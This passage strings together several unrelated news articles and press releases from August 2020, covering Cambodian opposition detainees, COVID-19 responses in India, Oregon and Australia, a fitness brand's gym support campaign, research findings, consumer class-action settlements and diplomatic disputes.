ready for weeks. "So I had already stocked my kitchen with food and other necessary items to prepare for the lockdown," he said. str/stu/qan Wives of Cambodian opposition party members held in Prey Sar Prison leave the EU embassy in Phnom Penh after meeting with embassy officials, Aug. 10, 2020. The wives of detained members of Cambodias banned opposition party met with European Union embassy officials Monday to appeal for help in freeing their husbands, as a ruling party spokesman shrugged off a looming EU threat to slap tariffs on around one-fifth of Cambodian exports to the bloc. The banning of the Cambodia National Rescue Party (CNRP) in November 2017 was a major factor behind the EUs decision to suspend tariff-free access to its market under the Everything But Arms (EBA) scheme for some 20 percent of Cambodias exports. Tariffs on the countrys key garment exports will kick in on Aug. 12, unless it is overturned by the blocs governments or its parliament. Hun Sen has said that EU demands for an end to the crackdown to maintain the EBA are an unreasonable encroachment on Cambodias internal affairs, and has continued to target CNRP members and other activists and critics. Seventeen CNRP activists have been held in pretrial detention for incitement to commit a felony or cause social unrest since early this year after slamming Hun Sens leadership and his governments response to the coronavirus pandemic. The wives of seven of the 17 detained CNRP activists met the EU officials in Phnom Penh Monday and pressed Brussels to maintain pressure, said Sok Polyma, the wife of CNRP commune chief for Tul Kork districts Phsar Depot Khim Pheana. We will continue our protest until there is a political solution, citizens are able to enjoy freedom of expression, and civil society and journalists are fully able to perform their jobs, Sok Polyma told RFAs Khmer Service after the meeting. Sok Polyma said that she and the other members of her group also asked EU officials to help secure the release of Cambodian labor union leader Rong Chhun, who was arrested Aug. 1. Scores of Cambodian civil society groups have condemned the arrest of Rong Chhun, president of the Cambodian Confederation of Unions (CCU), demanding that the government release him and drop charges of incitement he faces over his criticism of the countrys handling of a border dispute with Vietnam. 'Government not concerned' Sok Ey San, spokesman for Hun Sens ruling Cambodian Peoples Party (CPP), told RFA the government is not concerned about the EBA withdrawal. Rong Chhun and the other activists now held in Prey Sar were arrested because they had committed crimes, he told RFA. These wives should advise their husbands not to do anything illegal. If both husband and wife conspire to commit illegal acts, they will be held responsible. This is really very simple. If they commit crimes, they will be arrested, he said. Cambodias ongoing arrests of political opposition figures and social activists are not a matter of law enforcement but of political persecution, though, said Ny Sokha, head of the human rights unit for Cambodian rights group ADHOC. If Cambodias government and ruling party continue on their present course, the country may suffer greater economic impacts in the future, Ny Sokha said. We may lose not only EBA trade benefits, but also development aid, especially from European countries, he added. The CNRP was disbanded by Cambodia's Supreme Court in November 2017 for its alleged role in a plot to overthrow the government. The move to ban the CNRP was part of a wider crackdown by Prime Minister Hun Sen on the political opposition, NGOs, and the independent media that paved the way for the CPP to win all 125 seats in parliament in the countrys July 2018 general election. Reported by RFAs Khmer Service. Translated by Sovannarith Keo. Written in English by Richard Finney. Born Primitive Born Primitive Born Primitive VIRGINIA BEACH, VA, Aug. 10, 2020 (GLOBE NEWSWIRE) -- The COVID-19 pandemic has created vast economic challenges for practically everyone but some industries are feeling this more than others. Among the hardest hit businesses are gyms and fitness centers, which are believed to be an area where the virus can spread easily. Many gym owners have been forced to shut down their facilities for months. Those in states like Arizona have faced an economic whiplash, initially given the go-ahead to reopen, then forced to shut down again as local cases spiked. Needless to say, gym owners, fitness trainers and others employed in the industry have been struggling. Even iconic fitness chains like 24 Hour Fitness have declared bankruptcy and announced permanent closures of locations across the country. Fortunately, companies in related niches are taking notice such as active duty-owned fitness apparel brand Born Primitive, which recently stepped in to support local gyms by offering $1.5 million in gift vouchers to gym members. Stay For May As soon as gyms started closing due to the pandemic, they started bleeding memberships, explains Bear Handlon, co-founder of Born Primitive. This was devastating for the gyms. A lot of them were immediately in a position where they were just trying to keep their heads above water. Recognizing the significant threat the industry was facing, the fitness and CrossFit apparel brand developed a campaign entitled Stay For May. Targeted at gym owners, the idea of the campaign was to help local gyms offer a compelling reason for their customers to retain their memberships, even in the midst of the pandemic. This campaign was the sequel to our Back the Gyms stimulus initiative, which allowed us to ultimately contribute over $186,000 to local gyms all across America. However, we soon realized what was more important for gym owners was for their customers to keep their memberships. So we pivoted the campaign and took a different approach that attempted to incentivize those who were on the fence about things to stick with their gym for a few more months, says Handlon. Story continues The Stay for May initiative aimed to directly help struggling gyms by offering gift vouchers to patrons who kept their gym membership during the month of May. The gyms themselves didnt have to pay anything instead, the money for the vouchers came directly from Born Primitive and its partners. By offering gift vouchers from various, fitness-oriented brands that gym users would be interested in, local gym owners could give their customers a reason to not cancel their memberships. It was also easy for gym owners to implement. The gym owner simply needed to share a link with their members. From there, the participating brands were able to deliver the gift vouchers instantly via email. The Power of a Partnership To execute the Stay for May campaign, Born Primitive partnered with O2 Natural Recovery Drink. Together, they recruited two additional brands Bear Komplex and Puori in an effort to spread the word and secure additional incentives for gyms. The $1.5 million in gift vouchers we were able to distribute from Born Primitive was an astonishing amount. But Im incredibly pleased that we made the decision to partner with other brands that raised the total amount of support we were able to provide to over $6 million! Handlon notes. I think that really made an impact in getting more people to stay. Each brand chipped in by providing a $25 gift voucher to each gym patron, who could then use the voucher at their respective websites. Because each brand focuses on fitness products, the vouchers were a natural fit for gyms and their members. We will never be able to actually quantify how much of an impact this campaign had on persuading people to keep their memberships, but most importantly, we wanted the gym owners to know they werent alone in this. We wanted to use our brand platform to support them because these local gyms are the foundation of the entire community, and we owe it to them. We are stronger together, Handlon says. This mindset is not new for Born Primitive, a brand with a history of giving back since they were founded just a few years back. Prior to this campaign, Born Primitive donated over $500,000 to a variety of charities in only four years time charities that supported cancer research and prevention, adaptive athletes, military- and first-responder communities and COVID-relief efforts. As a business, weve said from day one that we have to use our platform to give back. We need to be a part of something bigger than ourselves. That is something we will never waiver on, Handlon says. Looking Forward Even with widespread support for initiatives like Stay for May, many fitness centers and local gyms face an uncertain future. We dont know what the immediate future looks like, especially given the recent uptick in COVID-19 cases in some areas, Handlon admits. But if we lose our gyms, we lose an essential place for people to improve themselves and get on track for healthier, happier lives. Even when theyre deemed non-essential, we cant lose sight of how big of an impact for good these places can have. For the time being, at least, fundraisers and programs that encourage customer loyalty are helping ensure that many gyms will still be there when their patrons are able to return. Media Details Name: Bear Handlon Company Name: Born Primitive Website: https://bornprimitive.com/ Email: bear.handlon@bornprimitive.com Telephone: (757) 301-6514 Attachment West Bengal Chief Minister Mamata Banerjee requested Prime Minister Narendra Modi on Tuesday to send more ventilators and oxygen supply apparatus needed to treat critically ill Covid-19 patients. Banerjee also urged the Prime Minister, during a video conference, to ensure that the Union government issues guidelines on Covid-19 vaccines to fight the pandemic. According to the Indian Council of Medical Research (ICMR), three Indian vaccines are in different phases of clinical testing at present. Also read: Reign of fear across the country: Mamata Banerjee attacks BJP, Centre We request the Central government to provide us more high flow nasal cannulas and ventilators, Banerjee, was quoted in a media statement issued by the state government The video conference was convened by Modi for chief ministers of 10 states, including West Bengal, to discuss the situation arising out of Covid-19 pandemic in the country. By Tuesday evening, the number of people testing positive for Covid-19 crossed one lakh and stood at 1,01,390 . he state has around 1,140 patients admitted in various hospitals, whose conditions were stated to be critical. The chief minister once again raised the issue of dues, which the centre reportedly owes the state, while highlighting the achievements made by the state administration including setting up of a Covid warrior club, Covid patient management system. The state is still to receive Rs 4,135 crore towards GST compensation and overall outstanding dues of Rs 53,000 crore from the central government, Banerjee said The West Bengal government had in April come under flak from the two inter-ministerial central teams for the death audit committee and the high fatality rate of Covid-19 patients in the state. The state had later stopped the death audits. During the meeting she said: At the start we had emphasized on death audits but now it is vindicated that comorbidity is an important element in Covid deaths. Eighty-nine per cent of Covid deaths in our state were due to comorbidities like diabetes, cancer and hypertension. Till August 10, 2,100 patients have died in West Bengal with Kolkata recording the maximum deaths. EUGENE The University of Oregon will require all students living in residence halls to be tested for COVID-19 upon arrival and at least one other time during the fall term, and voluntary random spot testing will be available for all students, with the goal of final plans for on-campus operations to be announced later this month. UOs testing plan was among several topics outlined in a letter by university president Michael Schill to students on Monday. The UOs top researchers have built robust testing capabilities on our campus, including a lab that will be able to conduct more than 1,000 tests per day on a sustained basis if needed, Schill writes. Later this week, those of you who will be living on campus will be provided with details about the testing program in our residence halls. ... We are still finalizing details about this voluntary community testing program, but diagnostic testing is already available and will continue to be available through University of Oregon Health Services for those who feel ill or believe they may have been exposed to the virus. Schill states an on-campus experience is the goal, but that uncertainty due to the coronavirus could lead to changes. If, for any reason, the UO does not have confidence in our ability to manage the COVID-19 conditions , Schill writes, we will transition to more limited operations. Our goal is to communicate our final plans by the end of the month, hopefully sooner. UO starts its fall quarter Sept. 29, significantly later than college and universities beginning fall semesters this month. Schill says the current plan for in-person classes is for a significant number of classes with 50 or fewer students to be held in person, following physical distancing protocols and other safety measures. Face coverings or shields will be required in all classes, desks and work stations will be six feet apart, faculty lecterns will have Plexiglas barriers, and the class schedule will allow students more time to move between buildings. Classes with more than 50 students will be completely remote, online, or in a hybrid model, with lectures held online and smaller discussion sessions in person. Fully online schedules can be requested. Obesity in expectant mothers may hinder the development of the babies' brains as early as the second trimester, a new study finds. Led by researchers at NYU Grossman School of Medicine, the investigation linked high body mass index (BMI), an indicator of obesity, to changes in two brain areas, the prefrontal cortex and anterior insula. These regions play a key role in decision-making and behavior, with disruptions having previously been linked to attention-deficit/hyperactivity disorder (ADHD), autism, and overeating. In their new study, publishing online August 11 in the Journal of Child Psychology and Psychiatry, the investigators examined 197 groups of metabolically active nerve cells in the fetal brain. Using millions of computations, the study authors divided the groups into 16 meaningful subgroups based on over 19,000 possible connections between the groups of neurons. They found only two areas of the brain where their connections to each other were statistically strongly linked to the mother's BMI. "Our findings affirm that a mother's obesity may play a role in fetal brain development, which might explain some of the cognitive and metabolic health concerns seen in children born to mothers with higher BMI," says Moriah Thomason, PhD, the Barakett Associate Professor in the Department of Child and Adolescent Psychiatry at NYU Langone Health. As obesity rates continue to soar in the United States, it is more important than ever to understand how the condition may impact early brain development, says Thomason, who is also an associate professor in the Department of Population Health at NYU Langone. Previous studies showing an association between obesity and brain development had mostly looked at cognitive function in children after birth. The new investigation is believed to be the first to measure changes in fetal brain activity in the womb, and as early as six months into pregnancy. Thomason says this approach was designed to eliminate the potential influence of breast feeding and other environmental factors occurring after birth and to examine the earliest origins of negative effects of maternal BMI on the developing child's brain. For the investigation, the research team recruited 109 women with BMIs ranging from 25 to 47. (According to the National Institutes of Health, women are considered "overweight" if they have a BMI of 25 or higher and are "obese" if their BMI is 30 and higher.) The women were all between six and nine months' pregnant. The research team used MRI imaging to measure fetal brain activity and map patterns of communication between large numbers of brain cells clustered together in different regions of the brain. Then, they compared the study participants to identify differences in how groups of neurons communicate with each other based on BMI. The investigators caution that their study was not designed to draw a direct line between the differences they found and ultimate cognitive or behavioral problems in children. The study only looked at fetal brain activity. But, Thomason says, they now plan to follow the participants' children over time to determine whether the brain activity changes lead to ADHD, behavioral issues, and other health risks. ### Funding for the study was provided by National Institutes of Health grants R01 MH110793, R34 DA050287, R01 MH122447, and R21 ES026022. In addition to Thomason, other NYU researchers involved in the study included Carly Lenniger, BS. Megan Norr, BA, of the University of California Berkeley, served as the study lead author. Additional research support was provided by Jasmine Hect, BS, of Wayne State University in Detroit, Michigan, and Martijn van den Heuvel of VU University Medical Center in Amsterdam, the Netherlands. Media Inquiries Shira Polan 212-404-4279 shira.polan@nyulangone.org All elected New Patriotic Party (NPP) parliamentary candidates and their contenders during the party's primaries in the Bono Region have signed a code of conduct for a roadmap to ensure hard work and unity ahead of the December 2020 elections. They all signed the document at a reconciliation meeting organized by the Bono Regional NPP Chairman, Kwame Baffoe, aka Abronye DC. They were entreated to set aside parochial interests and rather take steps to maximize more votes for both the parliamentary candidates and President Akufo-Addo. They signed the document in the presence of the various constituency chairmen, MDCEs, Members of Parliament (MPs), regional party executives and the Regional Minister, Evelyn Ama Kumi-Richardson. According to Abronye DC, the meeting was aimed at helping the Bono Region retain all seats and also win the only orphan constituency in addition. The caucus chairman for the MPs in the region and MP for Jaman South and Deputy Aviation Minister, Yaw Maama Afful, commended the Bono Regional Secretariat for the peaceful roadmap ahead of the elections. Mr. Afful said the move had paved the way for peace amongst the candidates in the region, stressing that wining the upcoming elections would largely depend on determination, hard work and team work. Speaking on behalf of all defeated candidates in the primaries, Albert Ameyaw, an aspirant for the Wenchi Constituency, pledged their unflinching support for the parliamentary candidates in the region ahead of the 2020 elections and urged their supporters to do same. ---Daily Guide HOUSTON, Aug. 11, 2020 /PRNewswire/ -- The Simon Bolivar Foundation, the charitable, private foundation of CITGO Petroleum Corporation, has entered into grant agreements with the following three prominent international nonprofit organizations, AID FOR AIDS International, FOOD FOR THE POOR INC. and the PanAmerican Development Foundation (PADF), to donate one million dollars as part of its Medium/Large Grants Program for Humanitarian Health. These grant agreements are an important milestone for the Foundation's new focus of providing funding to help with Venezuela's humanitarian crisis, building capacity, transferring knowledge, and empowering nongovernmental organizations to help vulnerable individuals, especially those that focus on mothers and children in and from Venezuela. The grantees not only have proven experience with humanitarian aid and long-standing presence in Latin America, but, also have a consolidated track record of performance thanks to a rooted distribution and support network that can reach vulnerable populations in the region. The Medium/Large Humanitarian Health program includes donations ranging from $250,00 to $500,000, with expected project timeframes of up to one year. Participation is limited to U.S. registered 501 (c)(3) organizations or qualified foreign public charities with a long-standing record in providing humanitarian aid and demonstrated capabilities to perform projects that address the challenging environment in both Venezuela and the region. Qualified organizations were invited to present proposals that were evaluated by an independent Community Advisory Board and selected by the Simon Bolivar Foundation based on certain criteria, including meeting the Foundation's objective of providing access to medicines, nutrition and wellbeing to vulnerable individuals impacted by Venezuela's humanitarian crisis, budget and cost-effectiveness, project impact, time frame, and sustainability over time. Benefited Projects AID FOR AIDS International (AFA) will use the grant for its Healing Venezuela program to supply nutritional supplements for 6,000 children and teenagers in need in five states and the Capital District in Venezuela for six months. AID FOR AIDS International is a 501(c)(3) organization committed to empowering at-risk communities. It was founded in 1996 to recycle unused, unexpired Human Immunodeficiency Virus (HIV) medication and redistribute it among patients in need around the world. Years of work with pharmaceutical companies and United Nations agencies allowed it to expand its scope of action and create a specific program called "Healing Venezuela" to offer humanitarian relief to vulnerable mothers and children in Venezuela. The Pan American Development Foundation will provide 1.4 metric tons (MT) of medicines to assist 7,000 vulnerable Venezuelans over six months. PADF is a nonprofit organization that believes in creating a hemisphere of opportunity for all. For nearly 60 years, it has served the most vulnerable communities, investing resources throughout Latin America and the Caribbean. PADF partners with and enables civil society, governments and the private sector for the greater good in the region. PADF has been implementing a regional response to the Venezuela migration crisis since 2018. FOOD FOR THE POOR INC. will devote the funds to the implementation of a COVID-19 food assistance program for 36,000 Venezuelan migrants in Bogota and Cucuta, Colombia. Food For The Poor is an interdenominational Christian ministry providing food, emergency relief assistance, clean water, medicine, educational materials, homes, support for orphaned and abandoned children, care for the elderly, skills training and micro-enterprise development assistance to primarily 17 countries in Latin America and the Caribbean. About the Simon Bolivar Foundation The Simon Bolivar Foundation Inc. was established in 2006 as the 501(c)(3) non-profit, private foundation of CITGO Petroleum Corporation. The SBF serves as a catalyst to transform lives by connecting non-profits and community leaders to better improve the quality of life through the support of health initiatives. The SBF supports new initiatives, leverages existing resources and invests in organizations to meet the immediate and long-term health needs of the most vulnerable. The SBF supports those in need in and from Venezuela as well as the communities in which we live and work in the United States. About CITGO: Headquartered in Houston, Texas, CITGO Petroleum Corporation is a recognized leader in the refining industry with a well-known brand. CITGO operates three refineries located in Corpus Christi, Texas; Lake Charles, La.; and Lemont, Ill., and wholly and/or jointly owns 47 terminals, nine pipelines and three lubricants blending and packaging plants. With approximately 3,400 employees and a combined crude capacity of approximately 769,000 barrels-per-day (bpd), CITGO is ranked as the fifth-largest, and one of the most complex independent refiners in the United States. CITGO transports and markets transportation fuels, lubricants, petrochemicals and other industrial products and supplies a network of approximately 4,700 locally owned and operated branded retail outlets in 30 states and the District of Columbia. CITGO Petroleum Corporation is owned by CITGO Holding, Inc. For more information, visit www.CITGO.com. SOURCE CITGO Corporation Related Links www.citgo.com BAKU, Azerbaijan, Aug.11 By Asif Mehman - Trend: Azerbaijani-Turkish relations are successfully developing in all areas, Azerbaijans Foreign Minister Jeyhun Bayramov said. Bayramov made the statement at a joint press conference with his Turkish counterpart Mevlut Cavusoglu, broadcasted by TRT Xeber TV channel, Trend reports on August 11. According to the FM, further strengthening and deepening of relations with Turkey is among the main directions of Azerbaijan's policy. "The brotherly Turkey has always supported Azerbaijan's position based on international law, which we witnessed during the provocation committed by Armenia on July 12 this year," he said. Bayramov also noted that Azerbaijan, in turn, has also always supported and supports Turkey's just cause in all issues. The minister thanked the Turkish people on his own and the Azerbaijani peoples behalf, and expressed gratitude for the hospitality. At the end of the meeting, he invited Cavusoglu to Azerbaijan. In response, the Turkish foreign minister said that he would definitely soon visit fraternal Azerbaijan, where he feels at home. This month's featured class-action settlements showcase a wide range of companies that have agreed to pay out high-dollar settlements to consumers. Several companies agreed to settle allegations of Telephone Consumer Protection Act violations, and one of those could amount to $100 per text. CytoSport and Muscle Milk: False Advertising If you bought certain CytoSport or Muscle Milk products in the last several years, you may qualify for a portion of a $12 million class-action settlement. CytoSport Inc. was accused of making false and misleading statements regarding the protein content of CytoSport/Muscle Milk Protein Ready-to-Drink Shakes and Muscle Milk Protein Powder products. The company also allegedly used misleading terms such as "Lean" and "L-Glutamine." Related: Do You Need a Protein Supplement? CytoSport Inc. admits no wrongdoing, but agreed to settle the allegations. The settlement involves two classes: The Shake Class includes all customers within the U.S. who purchased Cytosport Whey Isolate Protein Drink; Monster Milk Protein Power Shake; Genuine Muscle Milk Protein Nutrition Shake; and Muscle Milk Pro Series 40 Mega Protein Shake between Jan. 23, 2011 (Jan. 23, 2009 in Michigan) and May 5, 2020. Each class member will receive $1 per purchased class product, subject to pro rata adjustment. Class members without proof of purchase will be subject to a maximum claim of $25, but no cap exists for Shake Settlement class members who provide proof of purchase. The Powder Class includes all United States consumers who between Jan. 23, 2011 and Dec. 31, 2018 purchased any of the following powder products that had the phrase "lean lipids," "lean protein," "lean muscle protein," or "new leaner formula" on the label: Muscle Milk Lean Muscle Protein Powder Muscle Milk Light Lean Muscle Protein Powder Muscle Milk Naturals Nature's Ultimate Lean Muscle Protein Muscle Milk Gainer High Protein Gainer Powder Drink Mix Muscle Milk Pro Series 50 Lean Muscle Mega Protein Powder Monster Milk Lean Muscle Protein Supplement Class members will receive $3 for each purchased item weighing 2 lbs. or less and $5 for each purchased item weighing more than 2 lbs. Settlement class members without proof of purchase will be subject to a maximum claim of $25, but those Powder Settlement class members who provide proof of purchase will have no cap. The amount of recovery will be proportionally adjusted to account for the available portion of the settlement fund. Class members who want to submit claims or ask to be excluded from the class action settlement have until Sept. 16, 2020 to do so. More information can be found here. Nasty Gal: Unsolicited Text Messages If you received an unsolicited text message from online retailer Nasty Gal between July 1, 2015 and June 7, 2020, you could qualify for either $35 cash or a $45 voucher as part of a recent class-action settlement. Nasty Gal allegedly violated the Telephone Consumer Protection Act (TCPA) by sending text messages via an autodialing system without receiving prior consent from consumers. In addition, many of the cell phone numbers Nasty Gal texted were listed on the National Do Not Call Registry. The TCPA protects consumers from telemarketing activity that interrupts their daily lives unless the consumer has provided express written consent to receive such communication. Nasty Gal chose to settle the case to avoid ongoing litigation. A claim ID number and PIN are available to those affected on the settlement notice, but a claim form also may be printed and mailed. Class members choose between receiving the $45 voucher towards a future purchase or a check for $35. Class members must file a valid claim by Sept. 18, 2020. More information can be found here. GoDaddy: Unsolicited Texts & Calls If you received an unwanted text message or phone call from GoDaddy between Nov. 4, 2014 and Dec. 31, 2016, you could be eligible for a portion of a $35 million TCPA class-action settlement. Consumers say GoDaddy collected phone numbers when customers bought products or services and proceeded to use those phone numbers for marketing calls and texts. People who are already customers would receive these messages and so would former customers, according to the class action lawsuit. Plaintiffs said they did not provide consent to such communication. GoDaddy denies all allegations, but agreed to settle the TCPA lawsuit to avoid continued costs and risks of litigation. To obtain either a $150 GoDaddy merchandise credit voucher or a $35 check, submit a valid claim form by Oct. 7, 2020. Apple iPhones: Throttled Performance Apple has agreed to a $500 million class-action settlement to resolve claims that the performance of older-model Apple iPhones were intentionally slowed. Plaintiffs said Apple admitted to throttling older phones in order to avoid those phones from unexpectedly shutting down due to their older batteries, but they allege the company slowed the phones to convince customers they needed to buy newer iPhones. Apple did not admit to any wrongdoing but agreed to settle the lawsuit, which will result in the company handing over between $310 million and $500 million, depending on the number of valid claims received. Related: Apple Discounts for Military Members You may be eligible if you own an iPhone 6, 6 Plus, 6s, 6s Plus, and/or SE device that ran iOS 10.2.1 or later before Dec. 21, 2017, or in the case of iPhone 7 and 7 Plus devices, that ran iOS 11.2 or later before Dec. 21, 2017. Exact payments will depend upon the number of claims that are approved and other mitigating factors, but are estimated to be around $25 per eligible iPhone. You have until Oct. 6, 2020 to submit a valid claim. More information can be found here. LoanCare: Incorrect Late Fees LoanCare has agreed to an estimated $1,150,000 class-action settlement regarding allegations the mortgage lender improperly calculated late fees. Class members include homeowners who currently or previously had a mortgage loan governed by a Federal Housing Administration promissory note that controls the calculation of late fees. The FHA says late fees are to be charged as a percentage of the principal and interest portion of the monthly payment, referred to as P&I. LoanCare allegedly based late fees on a percentage of the entire monthly payment, which includes the principal, interest, taxes and insurance (PITI), instead of the P&I. According to settlement terms, current LoanCare mortgage loan customers should see a correction on their account statement and a credit to the account equal to the difference between what the customer paid in late fees and the amount that should have been charged, plus 2% interest annually from May 1, 2016. Anyone who no longer has LoanCare servicing a loan should receive a check in the mail for the amount overpaid plus that same 2% interest calculated annually since May 1, 2016. Because these settlement amounts will be dispersed without a claim form, any LoanCare customer who wishes to opt out of the settlement must do so by Oct. 6, 2020. Navy Federal Credit Union: Texts to Non-Members Navy Federal Credit Union has agreed to a $9.2 million class-action settlement regarding allegations the financial institution sent text messages to non-members in violation of the TCPA. Non-members of Navy Federal who received an unsolicited text message between Sept. 15, 2015 and March 23, 2020 could receive more than $100 per text, but the amount will depend upon the number of valid and timely claims received. Any text messages sent regarding fraud are not covered by this settlement. Navy Federal admits no wrongdoing, but agreed to the settlement to end the allegations. Settlement documents indicate the credit union only has some of the smartphone numbers it used to send the text messages, but the records are incomplete, which means some class members may not be contacted. Proof of receiving an unwanted text from Navy Federal Credit Union is not required, but those who do provide proof, such as a screenshot of the text message, might be eligible for additional "claim credit." The deadline to submit a claim is Sept. 7, 2020. More information can be found here. DeVry University: Job Opportunities DeVry University has agreed to a $44.95 million class-action settlement regarding allegations both DeVry and Keller misrepresented job placement opportunities to prospective students. Although DeVry admitted no wrongdoing, plaintiffs alleged DeVry misled them with claims that 90% of all graduates or graduates of Keller Graduate School of Management gained employment in their chosen careers within six months of graduating. DeVry also allegedly falsely claimed that its graduates made a 15% higher annual income than alumni at other schools. If you were enrolled in a DeVry or Keller education program between Jan. 1, 2008 and Dec. 15, 2016, you could be eligible for the following: Associate's degree graduates: $500 Bachelor's degree graduates: $1,000 Master's degree graduates: $500 In addition to the monetary awards, each class member who did not land a job in their chosen career field within six months may receive career counseling. In addition, graduates who need deletion of negative credit events that DeVry reported between Jan. 1, 2008 and Dec. 15, 2016 will receive such deletions. Learn more about the details of this settlement and how to file a claim. This story was originally published by The Penny Hoarder Get the Latest Financial Tips Whether you're trying to balance your budget, build up your credit, select a good life insurance program or are gearing up for a home purchase, Military.com has you covered. Subscribe to Military.com and get the latest military benefit updates and tips delivered straight to your inbox. When asked Monday if she was planning to go abroad to avoid being arrested, Tsikhanouskaya said she had no such plan and saw no reason why she would be arrested. But hours later she went to Belarus' Central Election Commission to submit a formal request for a recount and wasn't seen again until showing up in Lithuania on Tuesday. China vowed to make a necessary and legitimate response if Washington continues escalating its political suppression of Chinese journalists based in the United States. Foreign Ministry spokesman Wang Wenbin said at a daily news conference that no Chinese journalist in the US has had their application for a visa extension granted since May, when Washington limited their visas to 90 days with an option for an extension. Their visas are due to expire later this month. The US has been escalating its suppression of Chinese media due to a Cold War mentality and ideological prejudice, Wang said, urging Washington to immediately correct its mistakes. According to Wang, since 2018, the US has indefinitely delayed its approval or denied visas to over 20 US-based Chinese journalists. In December 2018, it demanded that certain Chinese media organizations' US offices register as "foreign agents". China and the US have exchanged several measures involving journalists in recent months, amid deteriorating bilateral ties. In February, the US designated five Chinese media entities in the US as "foreign missions" and imposed a cap on the number of their employees, in effect expelling 60 Chinese journalists. China has since taken countermeasures against US media outlets in the country in response. In June, Washington listed four additional Chinese media outlets in the US as "foreign missions". The move brings the total of Chinese news organizations the US has designated with that label to nine. In retaliation, China demanded in July that four US media outlets in China file declarations regarding their staff, financial operations, real estate ownership and other matters. "Such US moves seriously disrupt Chinese media's normal reporting in the US, damage the reputation of Chinese media and affect bilateral people-to-people exchanges," Wang said. While boasting about freedom of the press, the US interferes with and obstructs normal coverage by Chinese media in the country, which exposes its hypocrisy, double standards and hegemonic bullying, he said. He repeated that the US caused and bears responsibility for the current situation. "If the US is bent on going down the wrong path and doubles down on its mistakes, China will take necessary and legitimate measures to safeguard its legitimate rights," he added. Wang did not say how many Chinese journalists were affected or what countermeasures China might consider, but the editor-in-chief of Global Times newspaper said earlier that US journalists based in Hong Kong would be among those targeted. Australia might have to wait longer than the rest of the world for access to a COVID-19 vaccine. Opposition health spokesman Chris Bowen claimed the nation is 'way behind the queue' for a vaccine. Mr Bowen said Japan and several other countries have already signed supply agreements for potential vaccines. 'We haven't signed one,' he said. 'You've got to be in the discussions, you've got to be signing the deals, you've got to be funding the research.' Despite University of Queensland researchers receiving a combined $15million from the state and federal governments, Mr Bowen said Australia should spend more money on vaccine development. The Federal Government is seeking 'early access' to safe and effective coronavirus vaccines and treatments as soon as they're available, documents published this week revealed. Opposition health spokesman Chris Bowen claimed the nation is 'way behind the queue' for a vaccine Despite University of Queensland researchers (pictured) receiving a combined $15million from the state and federal governments for a potential vaccine, Mr Bowen said Australia should spend more money on development Prime Minister Scott Morrison urged any countries that discover a vaccine to share it with the rest of the world, and vowed to do the same. A human trial on 120 volunteers started in Brisbane last month. The vaccine, created by University of Queensland scientists in partnership with biotech company CSL, was tested successfully on animals in Australia and the Netherlands. Clinical trials will run until the middle of next year - but, if successful, the vaccine could be rolled out at the start of next year for emergency use among the wider population. Around the globe there are currently 139 candidates in the preliminary stages of pre-clinical trials - which means they're not ready to be tested on humans. Twenty-five studies have progressed to Phase One, where scientists carry out small safety trials on human volunteers, while 17 are now on Phase Two - expanded safety trials. There are just seven studies on Phase Three, which involved large-scale efficacy trials. Mr Bowen's warning comes days after the World Health Organisation warned the world may never have a 'silver bullet' for COVID-19 capable of completely neutralising the virus' spread. Dean of Health Sciences at Melbourne's Swinburne University Professor Bruce Thompson told Daily Mail Australia there was no guarantee even a working vaccine would be effective at suppressing the virus. 'We're cautiously optimistic we're going in the right direction but we don't have actual proof that if you take this vaccine it will protect you and your symptoms are going to be way less than they are now,' he said. A human trial on 120 volunteers started in Queensland last month. Pictured: Queensland Premier Annastacia Palaszczuk speaks to volunteers in Brisbane Professor Thompson said even if a viable sample was ready for September, it would be another prospect altogether to get it produced in enough quantity for the mass market. 'We're talking about the middle to the end of next year when we'll have a vaccine ready for your GP to give you,' he said. 'We need to start thinking about how we minimise the spread in other ways like through contact tracing. 'Through syndromic analysis we can start looking at how the virus is spreading through small areas and containing those outbreaks. 'You have to also consider the real possibility we don't ever have a effective vaccine we may not have the silver bullet.' The men and women of the Chicago Fire Department have been on the front lines of a crisis that is entirely without precedent in our city, Lightfoots office said in a statement. And while Chicago is experiencing significant financial impact due to the unprecedented COVID-19 outbreak, we are proud to announce that we have reached a short-term agreement with the Chicago Firefighters Union Local 2 to ensure that our first responders receive the fair wages and benefits they deserve while still being judicious with taxpayer resources. Editor's note: A Lake Criminal Court judge set aside defendant James Hill Jr.'s conviction for murder in perpetration of a robbery in May 2021, after Lake County prosecutors agreed they inadvertently did not turn over evidence to Hill's defense ahead of a 2018 trial. CROWN POINT A Lake Criminal Court judge on Monday denied a bid for a new trial filed by a man convicted in 2018 of taking part in the murder of an off-duty Hammond police officer nearly 40 years ago. Attorneys for James Hill, 57, wrote in a motion filed last month they recently learned of a detective's written summary, which they said called the credibility of a witness into question. Lake County First Assistant Deputy Prosecutor Peter Villarreal filed a response Thursday in which he wrote the summary was not exculpatory in nature, nor was the state obligated to turn it over to defense attorneys Scott King and Russell Brown as part of discovery. Lake Criminal Court Judge Salvador Vasquez agreed with Villarreal, writing in an order Monday the Indiana Court of Appeals' decision last fall to uphold Hill's conviction was final and the "purported 'newly discovered evidence' is insufficient to warrant a new trial." Findings suggest there must be other receptors for the virus that regulate its infection of the lungs Hamilton, ON (August 11, 2020) - Working together, researchers at McMaster University and the University of Waterloo are searching for how the SARS-CoV-2 virus infects the lungs - and they're challenging what has become an accepted truth about the virus. Previously, scientists have determined that entry of SARS-CoV-2 into cells occurs through a receptor on the cell surface, known as ACE2. But the McMaster-Waterloo team has found that the ACE2 receptor is at very low levels in human lung tissue. "Our finding is somewhat controversial, as it suggests that there must be other ways, other receptors for the virus, that regulate its infection of the lungs," said Jeremy Hirota, co-lead scientist of the team from the Research Institute of St. Joe's Hamilton and an Assistant Professor of Medicine at McMaster. "We were surprised that the fundamental characterization of the candidate receptors in human lung tissue had not yet been done in a systematic way with modern technologies." "Finding such low levels of ACE2 in lung tissue has important implications for how we think about this virus." said co-lead Andrew Doxey, Professor of Biology at the University of Waterloo. "ACE2 is not the full story and may be more relevant in other tissues such as the vascular system." A paper on their findings has been published recently in the European Respiratory Journal. Their findings have been confirmed independently by other researchers in Molecular Systems Biology. Now, to explore alternate additional infection pathways and different patient responses to infection, the team is using nasal swabs that were collected for clinical diagnoses of COVID-19. These samples offer the opportunity to determine which genes are expressed by patients' cells and associate this information with the development of the patients' disease. The ongoing study will better identify and treat patients who are at risk of developing serious complications and provide predictive capacity for hospitals. "It is clear that some individuals respond better than others to the same SARS-CoV-2 virus. The differential response to the same virus suggests that each individual patient, with their unique characteristics, heavily influences COVID-19 disease severity," said Hirota, who holds the Canada Research Chair in Respiratory Mucosal Immunology at McMaster. "We think it is the lung 